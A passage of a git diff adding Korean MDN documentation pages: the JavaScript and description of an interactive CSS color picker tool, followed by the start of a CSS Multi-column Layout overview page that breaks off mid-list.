+ };
+
+ var init = function init() {
+ var elem = document.querySelectorAll('.ui-input-slider');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new InputSlider(elem[i]);
+ };
+
+ return {
+ init : init,
+ setMax : setMax,
+ setMin : setMin,
+ setUnit : setUnit,
+ setStep : setStep,
+ getNode : getNode,
+ getStep : getStep,
+ setValue : setValue,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe,
+ setPrecision : setPrecision,
+ setSensivity : setSensivity,
+ getPrecision : getPrecision,
+ createSlider : createSlider,
+ };
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+ ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+ /*========== Get DOM Element By ID ==========*/
+
+ function getElemById(id) {
+ return document.getElementById(id);
+ }
+
+ function allowDropEvent(e) {
+ e.preventDefault();
+ }
+
+ /*========== Make an element resizable relative to it's parent ==========*/
+
+ var UIComponent = (function UIComponent() {
+
+ function makeResizable(elem, axis) {
+ var valueX = 0;
+ var valueY = 0;
+ var action = 0;
+
+ var resizeStart = function resizeStart(e) {
+ e.stopPropagation();
+ e.preventDefault();
+ if (e.button !== 0)
+ return;
+
+ valueX = e.clientX - elem.clientWidth;
+ valueY = e.clientY - elem.clientHeight;
+
+ document.body.setAttribute('data-resize', axis);
+ document.addEventListener('mousemove', mouseMove);
+ document.addEventListener('mouseup', resizeEnd);
+ };
+
+ var mouseMove = function mouseMove(e) {
+ if (action &gt;= 0)
+ elem.style.width = e.clientX - valueX + 'px';
+ if (action &lt;= 0)
+ elem.style.height = e.clientY - valueY + 'px';
+ };
+
+ var resizeEnd = function resizeEnd(e) {
+ if (e.button !== 0)
+ return;
+
+ document.body.removeAttribute('data-resize', axis);
+ document.removeEventListener('mousemove', mouseMove);
+ document.removeEventListener('mouseup', resizeEnd);
+ };
+
+ var handle = document.createElement('div');
+ handle.className = 'resize-handle';
+
+ if (axis === 'width') action = 1;
+ else if (axis === 'height') action = -1;
+ else axis = 'both';
+
+ handle.className = 'resize-handle';
+ handle.setAttribute('data-resize', axis);
+ handle.addEventListener('mousedown', resizeStart);
+ elem.appendChild(handle);
+ };
+
+ /*========== Make an element draggable relative to it's parent ==========*/
+
+ var makeDraggable = function makeDraggable(elem, endFunction) {
+
+ var offsetTop;
+ var offsetLeft;
+
+ elem.setAttribute('data-draggable', 'true');
+
+ var dragStart = function dragStart(e) {
+ e.preventDefault();
+ e.stopPropagation();
+
+ if (e.target.getAttribute('data-draggable') !== 'true' ||
+ e.target !== elem || e.button !== 0)
+ return;
+
+ offsetLeft = e.clientX - elem.offsetLeft;
+ offsetTop = e.clientY - elem.offsetTop;
+
+ document.addEventListener('mousemove', mouseDrag);
+ document.addEventListener('mouseup', dragEnd);
+ };
+
+ var dragEnd = function dragEnd(e) {
+ if (e.button !== 0)
+ return;
+
+ document.removeEventListener('mousemove', mouseDrag);
+ document.removeEventListener('mouseup', dragEnd);
+ };
+
+ var mouseDrag = function mouseDrag(e) {
+ elem.style.left = e.clientX - offsetLeft + 'px';
+ elem.style.top = e.clientY - offsetTop + 'px';
+ };
+
+ elem.addEventListener('mousedown', dragStart, false);
+ };
+
+ return {
+ makeResizable : makeResizable,
+ makeDraggable : makeDraggable
+ };
+
+ })();
+
+ /*========== Color Class ==========*/
+
+ var Color = UIColorPicker.Color;
+ var HSLColor = UIColorPicker.HSLColor;
+
+ /**
+ * ColorPalette
+ */
+ var ColorPalette = (function ColorPalette() {
+
+ var samples = [];
+ var color_palette;
+ var complementary;
+
+ var hideNode = function(node) {
+ node.setAttribute('data-hidden', 'true');
+ };
+
+ var ColorSample = function ColorSample(id) {
+ var node = document.createElement('div');
+ node.className = 'sample';
+
+ this.uid = samples.length;
+ this.node = node;
+ this.color = new Color();
+
+ node.setAttribute('sample-id', this.uid);
+ node.setAttribute('draggable', 'true');
+ node.addEventListener('dragstart', this.dragStart.bind(this));
+ node.addEventListener('click', this.pickColor.bind(this));
+
+ samples.push(this);
+ };
+
+ ColorSample.prototype.updateBgColor = function updateBgColor() {
+ this.node.style.backgroundColor = this.color.getColor();
+ };
+
+ ColorSample.prototype.updateColor = function updateColor(color) {
+ this.color.copy(color);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+ this.color.copy(color);
+ var hue = (steps * degree + this.color.hue) % 360;
+ if (hue &lt; 0) hue += 360;
+ this.color.setHue(hue);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+ var saturation = color.saturation + value * steps;
+ if (saturation &lt;= 0) {
+ this.node.setAttribute('data-hidden', 'true');
+ return;
+ }
+
+ this.node.removeAttribute('data-hidden');
+ this.color.copy(color);
+ this.color.setSaturation(saturation);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+ var lightness = color.lightness + value * steps;
+ if (lightness &lt;= 0) {
+ this.node.setAttribute('data-hidden', 'true');
+ return;
+ }
+ this.node.removeAttribute('data-hidden');
+ this.color.copy(color);
+ this.color.setLightness(lightness);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+ var brightness = color.value + value * steps;
+ if (brightness &lt;= 0) {
+ this.node.setAttribute('data-hidden', 'true');
+ return;
+ }
+ this.node.removeAttribute('data-hidden');
+ this.color.copy(color);
+ this.color.setValue(brightness);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+ var alpha = parseFloat(color.a) + value * steps;
+ if (alpha &lt;= 0) {
+ this.node.setAttribute('data-hidden', 'true');
+ return;
+ }
+ this.node.removeAttribute('data-hidden');
+ this.color.copy(color);
+ this.color.a = parseFloat(alpha.toFixed(2));
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.pickColor = function pickColor() {
+ UIColorPicker.setColor('picker', this.color);
+ };
+
+ ColorSample.prototype.dragStart = function dragStart(e) {
+ e.dataTransfer.setData('sampleID', this.uid);
+ e.dataTransfer.setData('location', 'palette-samples');
+ };
+
+ var Palette = function Palette(text, size) {
+ this.samples = [];
+ this.locked = false;
+
+ var palette = document.createElement('div');
+ var title = document.createElement('div');
+ var controls = document.createElement('div');
+ var container = document.createElement('div');
+ var lock = document.createElement('div');
+
+ container.className = 'container';
+ title.className = 'title';
+ palette.className = 'palette';
+ controls.className = 'controls';
+ lock.className = 'lock';
+ title.textContent = text;
+
+ controls.appendChild(lock);
+ container.appendChild(title);
+ container.appendChild(controls);
+ container.appendChild(palette);
+
+ lock.addEventListener('click', function () {
+ this.locked = !this.locked;
+ lock.setAttribute('locked-state', this.locked);
+ }.bind(this));
+
+ for(var i = 0; i &lt; size; i++) {
+ var sample = new ColorSample();
+ this.samples.push(sample);
+ palette.appendChild(sample.node);
+ }
+
+ this.container = container;
+ this.title = title;
+ };
+
+ var createHuePalette = function createHuePalette() {
+ var palette = new Palette('Hue', 12);
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (palette.locked === true)
+ return;
+
+ for(var i = 0; i &lt; 12; i++) {
+ palette.samples[i].updateHue(color, 30, i);
+ }
+ });
+
+ color_palette.appendChild(palette.container);
+ };
+
+ var createSaturationPalette = function createSaturationPalette() {
+ var palette = new Palette('Saturation', 11);
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (palette.locked === true)
+ return;
+
+ for(var i = 0; i &lt; 11; i++) {
+ palette.samples[i].updateSaturation(color, -10, i);
+ }
+ });
+
+ color_palette.appendChild(palette.container);
+ };
+
+ /* Brightness or Lightness - depends on the picker mode */
+ var createVLPalette = function createSaturationPalette() {
+ var palette = new Palette('Lightness', 11);
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (palette.locked === true)
+ return;
+
+ if(color.format === 'HSL') {
+ palette.title.textContent = 'Lightness';
+ for(var i = 0; i &lt; 11; i++)
+ palette.samples[i].updateLightness(color, -10, i);
+ }
+ else {
+ palette.title.textContent = 'Value';
+ for(var i = 0; i &lt; 11; i++)
+ palette.samples[i].updateBrightness(color, -10, i);
+ }
+ });
+
+ color_palette.appendChild(palette.container);
+ };
+
+ var isBlankPalette = function isBlankPalette(container, value) {
+ if (value === 0) {
+ container.setAttribute('data-collapsed', 'true');
+ return true;
+ }
+
+ container.removeAttribute('data-collapsed');
+ return false;
+ };
+
+ var createAlphaPalette = function createAlphaPalette() {
+ var palette = new Palette('Alpha', 10);
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (palette.locked === true)
+ return;
+
+ for(var i = 0; i &lt; 10; i++) {
+ palette.samples[i].updateAlpha(color, -0.1, i);
+ }
+ });
+
+ color_palette.appendChild(palette.container);
+ };
+
+ var getSampleColor = function getSampleColor(id) {
+ if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+ return new Color(samples[id].color);
+ };
+
+ var init = function init() {
+ color_palette = getElemById('color-palette');
+
+ createHuePalette();
+ createSaturationPalette();
+ createVLPalette();
+ createAlphaPalette();
+
+ };
+
+ return {
+ init : init,
+ getSampleColor : getSampleColor
+ };
+
+ })();
+
+ /**
+ * ColorInfo
+ */
+ var ColorInfo = (function ColorInfo() {
+
+ var info_box;
+ var select;
+ var RGBA;
+ var HEXA;
+ var HSLA;
+
+ var updateInfo = function updateInfo(color) {
+ if (color.a | 0 === 1) {
+ RGBA.info.textContent = 'RGB';
+ HSLA.info.textContent = 'HSL';
+ }
+ else {
+ RGBA.info.textContent = 'RGBA';
+ HSLA.info.textContent = 'HSLA';
+ }
+
+ RGBA.value.value = color.getRGBA();
+ HSLA.value.value = color.getHSLA();
+ HEXA.value.value = color.getHexa();
+ };
+
+ var InfoProperty = function InfoProperty(info) {
+
+ var node = document.createElement('div');
+ var title = document.createElement('div');
+ var value = document.createElement('input');
+ var copy = document.createElement('div');
+
+ node.className = 'property';
+ title.className = 'type';
+ value.className = 'value';
+ copy.className = 'copy';
+
+ title.textContent = info;
+ value.setAttribute('type', 'text');
+
+ copy.addEventListener('click', function() {
+ value.select();
+ });
+
+ node.appendChild(title);
+ node.appendChild(value);
+ node.appendChild(copy);
+
+ this.node = node;
+ this.value = value;
+ this.info = title;
+
+ info_box.appendChild(node);
+ };
+
+ var init = function init() {
+
+ info_box = getElemById('color-info');
+
+ RGBA = new InfoProperty('RGBA');
+ HSLA = new InfoProperty('HSLA');
+ HEXA = new InfoProperty('HEXA');
+
+ UIColorPicker.subscribe('picker', updateInfo);
+
+ };
+
+ return {
+ init: init
+ };
+
+ })();
+
+ /**
+ * ColorPicker Samples
+ */
+ var ColorPickerSamples = (function ColorPickerSamples() {
+
+ var samples = [];
+ var nr_samples = 0;
+ var active = null;
+ var container = null;
+ var samples_per_line = 10;
+ var trash_can = null;
+ var base_color = new HSLColor(0, 50, 100);
+ var add_btn;
+ var add_btn_pos;
+
+ var ColorSample = function ColorSample() {
+ var node = document.createElement('div');
+ node.className = 'sample';
+
+ this.uid = samples.length;
+ this.index = nr_samples++;
+ this.node = node;
+ this.color = new Color(base_color);
+
+ node.setAttribute('sample-id', this.uid);
+ node.setAttribute('draggable', 'true');
+
+ node.addEventListener('dragstart', this.dragStart.bind(this));
+ node.addEventListener('dragover' , allowDropEvent);
+ node.addEventListener('drop' , this.dragDrop.bind(this));
+
+ this.updatePosition(this.index);
+ this.updateBgColor();
+ samples.push(this);
+ };
+
+ ColorSample.prototype.updateBgColor = function updateBgColor() {
+ this.node.style.backgroundColor = this.color.getColor();
+ };
+
+ ColorSample.prototype.updatePosition = function updatePosition(index) {
+ this.index = index;
+ this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+ this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+ this.node.style.top = this.posY + 'px';
+ this.node.style.left = this.posX + 'px';
+ };
+
+ ColorSample.prototype.updateColor = function updateColor(color) {
+ this.color.copy(color);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.activate = function activate() {
+ UIColorPicker.setColor('picker', this.color);
+ this.node.setAttribute('data-active', 'true');
+ };
+
+ ColorSample.prototype.deactivate = function deactivate() {
+ this.node.removeAttribute('data-active');
+ };
+
+ ColorSample.prototype.dragStart = function dragStart(e) {
+ e.dataTransfer.setData('sampleID', this.uid);
+ e.dataTransfer.setData('location', 'picker-samples');
+ };
+
+ ColorSample.prototype.dragDrop = function dragDrop(e) {
+ e.stopPropagation();
+ this.color = Tool.getSampleColorFrom(e);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.deleteSample = function deleteSample() {
+ container.removeChild(this.node);
+ samples[this.uid] = null;
+ nr_samples--;
+ };
+
+ var updateUI = function updateUI() {
+ updateContainerProp();
+
+ var index = 0;
+ var nr = samples.length;
+ for (var i=0; i &lt; nr; i++)
+ if (samples[i] !== null) {
+ samples[i].updatePosition(index);
+ index++;
+ }
+
+ AddSampleButton.updatePosition(index);
+ };
+
+ var deleteSample = function deleteSample(e) {
+ trash_can.parentElement.setAttribute('drag-state', 'none');
+
+ var location = e.dataTransfer.getData('location');
+ if (location !== 'picker-samples')
+ return;
+
+ var sampleID = e.dataTransfer.getData('sampleID');
+ samples[sampleID].deleteSample();
+ console.log(samples);
+
+ updateUI();
+ };
+
+ var createDropSample = function createDropSample() {
+ var sample = document.createElement('div');
+ sample.id = 'drop-effect-sample';
+ sample.className = 'sample';
+ container.appendChild(sample);
+ };
+
+ var setActivateSample = function setActivateSample(e) {
+ if (e.target.className !== 'sample')
+ return;
+
+ unsetActiveSample(active);
+ Tool.unsetVoidSample();
+ CanvasSamples.unsetActiveSample();
+ active = samples[e.target.getAttribute('sample-id')];
+ active.activate();
+ };
+
+ var unsetActiveSample = function unsetActiveSample() {
+ if (active)
+ active.deactivate();
+ active = null;
+ };
+
+ var getSampleColor = function getSampleColor(id) {
+ if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+ return new Color(samples[id].color);
+ };
+
+ var updateContainerProp = function updateContainerProp() {
+ samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+ var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+ container.style.height = height + 10 + 'px';
+ };
+
+ var AddSampleButton = (function AddSampleButton() {
+ var node;
+ var _index = 0;
+ var _posX;
+ var _posY;
+
+ var updatePosition = function updatePosition(index) {
+ _index = index;
+ _posY = 5 + ((index / samples_per_line) | 0) * 52;
+ _posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+ node.style.top = _posY + 'px';
+ node.style.left = _posX + 'px';
+ };
+
+ var addButtonClick = function addButtonClick() {
+ var sample = new ColorSample();
+ container.appendChild(sample.node);
+ updatePosition(_index + 1);
+ updateUI();
+ };
+
+ var init = function init() {
+ node = document.createElement('div');
+ var icon = document.createElement('div');
+
+ node.className = 'sample';
+ icon.id = 'add-icon';
+ node.appendChild(icon);
+ node.addEventListener('click', addButtonClick);
+
+ updatePosition(0);
+ container.appendChild(node);
+ };
+
+ return {
+ init : init,
+ updatePosition : updatePosition
+ };
+ })();
+
+ var init = function init() {
+ container = getElemById('picker-samples');
+ trash_can = getElemById('trash-can');
+
+ AddSampleButton.init();
+
+ for (var i=0; i&lt;16; i++) {
+ var sample = new ColorSample();
+ container.appendChild(sample.node);
+ }
+
+ AddSampleButton.updatePosition(samples.length);
+ updateUI();
+
+ active = samples[0];
+ active.activate();
+
+ container.addEventListener('click', setActivateSample);
+
+ trash_can.addEventListener('dragover', allowDropEvent);
+ trash_can.addEventListener('dragenter', function() {
+ this.parentElement.setAttribute('drag-state', 'enter');
+ });
+ trash_can.addEventListener('dragleave', function(e) {
+ this.parentElement.setAttribute('drag-state', 'none');
+ });
+ trash_can.addEventListener('drop', deleteSample);
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (active)
+ active.updateColor(color);
+ });
+
+ };
+
+ return {
+ init : init,
+ getSampleColor : getSampleColor,
+ unsetActiveSample : unsetActiveSample
+ };
+
+ })();
+
+ /**
+ * Canvas Samples
+ */
+ var CanvasSamples = (function CanvasSamples() {
+
+ var active = null;
+ var canvas = null;
+ var samples = [];
+ var zindex = null;
+ var tutorial = true;
+
+ var CanvasSample = function CanvasSample(color, posX, posY) {
+
+ var node = document.createElement('div');
+ var pick = document.createElement('div');
+ var delete_btn = document.createElement('div');
+ node.className = 'sample';
+ pick.className = 'pick';
+ delete_btn.className = 'delete';
+
+ this.uid = samples.length;
+ this.node = node;
+ this.color = color;
+ this.updateBgColor();
+ this.zIndex = 1;
+
+ node.style.top = posY - 50 + 'px';
+ node.style.left = posX - 50 + 'px';
+ node.setAttribute('sample-id', this.uid);
+
+ node.appendChild(pick);
+ node.appendChild(delete_btn);
+
+ var activate = function activate() {
+ setActiveSample(this);
+ }.bind(this);
+
+ node.addEventListener('dblclick', activate);
+ pick.addEventListener('click', activate);
+ delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+ UIComponent.makeDraggable(node);
+ UIComponent.makeResizable(node);
+
+ samples.push(this);
+ canvas.appendChild(node);
+ return this;
+ };
+
+ CanvasSample.prototype.updateBgColor = function updateBgColor() {
+ this.node.style.backgroundColor = this.color.getColor();
+ };
+
+ CanvasSample.prototype.updateColor = function updateColor(color) {
+ this.color.copy(color);
+ this.updateBgColor();
+ };
+
+ CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+ this.zIndex = value;
+ this.node.style.zIndex = value;
+ };
+
+ CanvasSample.prototype.activate = function activate() {
+ this.node.setAttribute('data-active', 'true');
+ zindex.setAttribute('data-active', 'true');
+
+ UIColorPicker.setColor('picker', this.color);
+ InputSliderManager.setValue('z-index', this.zIndex);
+ };
+
+ CanvasSample.prototype.deactivate = function deactivate() {
+ this.node.removeAttribute('data-active');
+ zindex.removeAttribute('data-active');
+ };
+
+ CanvasSample.prototype.deleteSample = function deleteSample() {
+ if (active === this)
+ unsetActiveSample();
+ canvas.removeChild(this.node);
+ samples[this.uid] = null;
+ };
+
+ CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+ this.node.style.top = posY - this.startY + 'px';
+ this.node.style.left = posX - this.startX + 'px';
+ };
+
+ var canvasDropEvent = function canvasDropEvent(e) {
+ var color = Tool.getSampleColorFrom(e);
+
+ if (color) {
+ var offsetX = e.pageX - canvas.offsetLeft;
+ var offsetY = e.pageY - canvas.offsetTop;
+ var sample = new CanvasSample(color, offsetX, offsetY);
+ if (tutorial) {
+ tutorial = false;
+ canvas.removeAttribute('data-tutorial');
+ var info = new CanvasSample(new Color(), 100, 100);
+ info.node.setAttribute('data-tutorial', 'dblclick');
+ }
+ }
+
+ };
+
+ var setActiveSample = function setActiveSample(sample) {
+ ColorPickerSamples.unsetActiveSample();
+ Tool.unsetVoidSample();
+ unsetActiveSample();
+ active = sample;
+ active.activate();
+ };
+
+ var unsetActiveSample = function unsetActiveSample() {
+ if (active)
+ active.deactivate();
+ active = null;
+ };
+
+ var createToggleBgButton = function createToggleBgButton() {
+ var button = document.createElement('div');
+ var state = false;
+ button.className = 'toggle-bg';
+ canvas.appendChild(button);
+
+ button.addEventListener('click', function() {
+ console.log(state);
+ state = !state;
+ canvas.setAttribute('data-bg', state);
+ });
+ };
+
+ var init = function init() {
+ canvas = getElemById('canvas');
+ zindex = getElemById('zindex');
+
+ canvas.addEventListener('dragover', allowDropEvent);
+ canvas.addEventListener('drop', canvasDropEvent);
+
+ createToggleBgButton();
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (active) active.updateColor(color);
+ });
+
+ InputSliderManager.subscribe('z-index', function (value) {
+ if (active) active.updateZIndex(value);
+ });
+
+ UIComponent.makeResizable(canvas, 'height');
+ };
+
+ return {
+ init : init,
+ unsetActiveSample : unsetActiveSample
+ };
+
+ })();
+
+ var StateButton = function StateButton(node, state) {
+ this.state = false;
+ this.callback = null;
+
+ node.addEventListener('click', function() {
+ this.state = !this.state;
+ if (typeof this.callback === "function")
+ this.callback(this.state);
+ }.bind(this));
+ };
+
+ StateButton.prototype.set = function set() {
+ this.state = true;
+ if (typeof this.callback === "function")
+ this.callback(this.state);
+ };
+
+ StateButton.prototype.unset = function unset() {
+ this.state = false;
+ if (typeof this.callback === "function")
+ this.callback(this.state);
+ };
+
+ StateButton.prototype.subscribe = function subscribe(func) {
+ this.callback = func;
+ };
+
+
+ /**
+ * Tool
+ */
+ var Tool = (function Tool() {
+
+ var samples = [];
+ var controls = null;
+ var void_sw;
+
+ var createPickerModeSwitch = function createPickerModeSwitch() {
+ var parent = getElemById('controls');
+ var icon = document.createElement('div');
+ var button = document.createElement('div');
+ var hsv = document.createElement('div');
+ var hsl = document.createElement('div');
+ var active = null;
+
+ icon.className = 'icon picker-icon';
+ button.className = 'switch';
+ button.appendChild(hsv);
+ button.appendChild(hsl);
+
+ hsv.textContent = 'HSV';
+ hsl.textContent = 'HSL';
+
+ active = hsl;
+ active.setAttribute('data-active', 'true');
+
+ function switchPickingModeTo(elem) {
+ active.removeAttribute('data-active');
+ active = elem;
+ active.setAttribute('data-active', 'true');
+ UIColorPicker.setPickerMode('picker', active.textContent);
+ };
+
+ var picker_sw = new StateButton(icon);
+ picker_sw.subscribe(function() {
+ if (active === hsv)
+ switchPickingModeTo(hsl);
+ else
+ switchPickingModeTo(hsv);
+ });
+
+ hsv.addEventListener('click', function() {
+ switchPickingModeTo(hsv);
+ });
+ hsl.addEventListener('click', function() {
+ switchPickingModeTo(hsl);
+ });
+
+ parent.appendChild(icon);
+ parent.appendChild(button);
+ };
+
+ var setPickerDragAndDrop = function setPickerDragAndDrop() {
+ var preview = document.querySelector('#picker .preview-color');
+ var picking_area = document.querySelector('#picker .picking-area');
+
+ preview.setAttribute('draggable', 'true');
+ preview.addEventListener('drop', drop);
+ preview.addEventListener('dragstart', dragStart);
+ preview.addEventListener('dragover', allowDropEvent);
+
+ picking_area.addEventListener('drop', drop);
+ picking_area.addEventListener('dragover', allowDropEvent);
+
+ function drop(e) {
+ var color = getSampleColorFrom(e);
+ UIColorPicker.setColor('picker', color);
+ };
+
+ function dragStart(e) {
+ e.dataTransfer.setData('sampleID', 'picker');
+ e.dataTransfer.setData('location', 'picker');
+ };
+ };
+
+ var getSampleColorFrom = function getSampleColorFrom(e) {
+ var sampleID = e.dataTransfer.getData('sampleID');
+ var location = e.dataTransfer.getData('location');
+
+ if (location === 'picker')
+ return UIColorPicker.getColor(sampleID);
+ if (location === 'picker-samples')
+ return ColorPickerSamples.getSampleColor(sampleID);
+ if (location === 'palette-samples')
+ return ColorPalette.getSampleColor(sampleID);
+ };
+
+ var setVoidSwitch = function setVoidSwitch() {
+ var void_sample = getElemById('void-sample');
+ void_sw = new StateButton(void_sample);
+ void_sw.subscribe( function (state) {
+ void_sample.setAttribute('data-active', state);
+ if (state === true) {
+ ColorPickerSamples.unsetActiveSample();
+ CanvasSamples.unsetActiveSample();
+ }
+ });
+ };
+
+ var unsetVoidSample = function unsetVoidSample() {
+ void_sw.unset();
+ };
+
+ var init = function init() {
+ controls = getElemById('controls');
+
+ var color = new Color();
+ color.setHSL(0, 51, 51);
+ UIColorPicker.setColor('picker', color);
+
+ setPickerDragAndDrop();
+ createPickerModeSwitch();
+ setVoidSwitch();
+ };
+
+ return {
+ init : init,
+ unsetVoidSample : unsetVoidSample,
+ getSampleColorFrom : getSampleColorFrom
+ };
+
+ })();
+
+ var init = function init() {
+ UIColorPicker.init();
+ InputSliderManager.init();
+ ColorInfo.init();
+ ColorPalette.init();
+ ColorPickerSamples.init();
+ CanvasSamples.init();
+ Tool.init();
+ };
+
+ return {
+ init : init
+ };
+
+})();
+</pre>
+</div>
+
+<p>{{CSSRef}}</p>
+
+<p><font><font>이 도구를 사용하면 웹용 사용자 정의 색상을 쉽게 만들고 조정하고 실험 할 수 있습니다. </font></font><font><font>또한 </font><font>HEXA 색상, RGB (빨강 / 녹색 / 파랑) 및 HSL (색조 / 채도 / 밝기)를 비롯하여 </font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS"><font>CSS</font></a><font> 에서 </font><font>지원하는 </font><font>다양한 </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color_value"><font><font>색상 형식</font></font></a><font><font> 간에 쉽게 변환 할 수 </font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color_value"><font>있습니다</font></a><font> . </font><font>RGB (rgba) 및 HSL (hsla) 형식에서도 알파 채널을 제어 할 수 있습니다.</font></font></p>
+
+<p><font><font>색상을 정의하는 매개 변수를 조정하면 세 가지 표준 웹 CSS 형식으로 모두 표시됩니다. </font><font>또한 현재 선택한 색상을 기반으로 HSL 및 HSV 용 팔레트와 알파가 생성됩니다. </font><font>"스포이드"스타일 색상 선택 도구 상자는 HSL 또는 HSV 형식으로 전환 할 수 있습니다. </font><font>도구의 바닥에있는 상자로 색상을 드래그하고 서로 위로 움직여 색상을 비교할 수 있습니다. </font><font>상대 Z 색인 값을 조정하여 서로를 앞뒤로 이동하십시오.</font></font></p>
+
+<p><font><font>이 도구는 </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML"><font><font>HTML</font></font></a><font><font> 에 적용 할 완벽한 CSS 색상을 식별하는 데 도움을줍니다 </font><font>.</font></font></p>
+
+<p> </p>
+
+<p> </p>
+
+<p><font><font>{{EmbedLiveSample ( 'ColorPicker_Tool', '100 %', '900')}}</font></font></p>
+
+<p><font><font>위에서 작성한 생성 된 색상은 달리 명시하지 않는 한 CSS 및 HTML에서 색상이 사용되는 모든 위치에서 사용할 수 있습니다.</font></font></p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="See_also">See also</h2>
+
+<p>For more on using color, see:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">Styling borders using CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Backgrounds">Changing background styles using CSS</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Color and color contrast</a></li>
+</ul>
diff --git a/files/ko/web/css/css_columns/index.html b/files/ko/web/css/css_columns/index.html
new file mode 100644
index 0000000000..efe31f5761
--- /dev/null
+++ b/files/ko/web/css/css_columns/index.html
@@ -0,0 +1,89 @@
+---
+title: CSS Multi-column Layout
+slug: Web/CSS/CSS_Columns
+tags:
+ - CSS
+ - CSS Multi-column Layout
+ - Layout
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Columns
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Multi-column Layout</strong>은 다단 레이아웃을 정의하는 CSS 모듈입니다. 레이아웃에서 단의 숫자와 콘텐츠가 하나의 단에서 다른 단으로 흐르는 방식, 단 사이의 간격, 구분선과 구분선의 모양 등의 지원을 포함하고 있습니다.</p>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="CSS_속성">CSS 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+ <li>{{cssxref("column-count")}}</li>
+ <li>{{cssxref("column-fill")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("column-rule")}}</li>
+ <li>{{cssxref("column-rule-color")}}</li>
+ <li>{{cssxref("column-rule-style")}}</li>
+ <li>{{cssxref("column-rule-width")}}</li>
+ <li>{{cssxref("column-span")}}</li>
+ <li>{{cssxref("column-width")}}</li>
+ <li>{{cssxref("columns")}}</li>
+</ul>
+</div>
+
+<h3 id="관련_CSS_Fragmentation_속성">관련 CSS Fragmentation 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+ <li>{{cssxref("orphans")}}</li>
+ <li>{{cssxref("widows")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol">다단 레이아웃 기초 개념</a></dt>
+ <dd>다단 레이아웃 명세를 훑어봅니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Columns/Styling_Columns">단 꾸미기</a></dt>
+ <dd>구분선과 단 사이 간격을 조절합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Columns/Spanning_Columns">폭과 균형</a></dt>
+ <dd>요소가 모든 단에 걸쳐있도록 만들고, 한 단이 채워지는 방식을 조정합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Columns/Handling_Overflow_in_Multicol">다단에서 오버플로 다루기</a></dt>
+ <dd>어떤 요소가 자신의 단을 넘쳤을 때 일어나는 일과, 컨테이너 너비에 맞추기에는 너무 많은 단이 들어있을 때 발생하는 일을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Columns/Handling_content_breaks_in_multicol">다단에서 콘텐츠 끊기</a></dt>
+ <dd>CSS Fragmentation 명세의 소개와 함께 단 콘텐츠를 끊는 법을 배웁니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Multicol')}}</td>
+ <td>{{Spec2('CSS3 Multicol')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
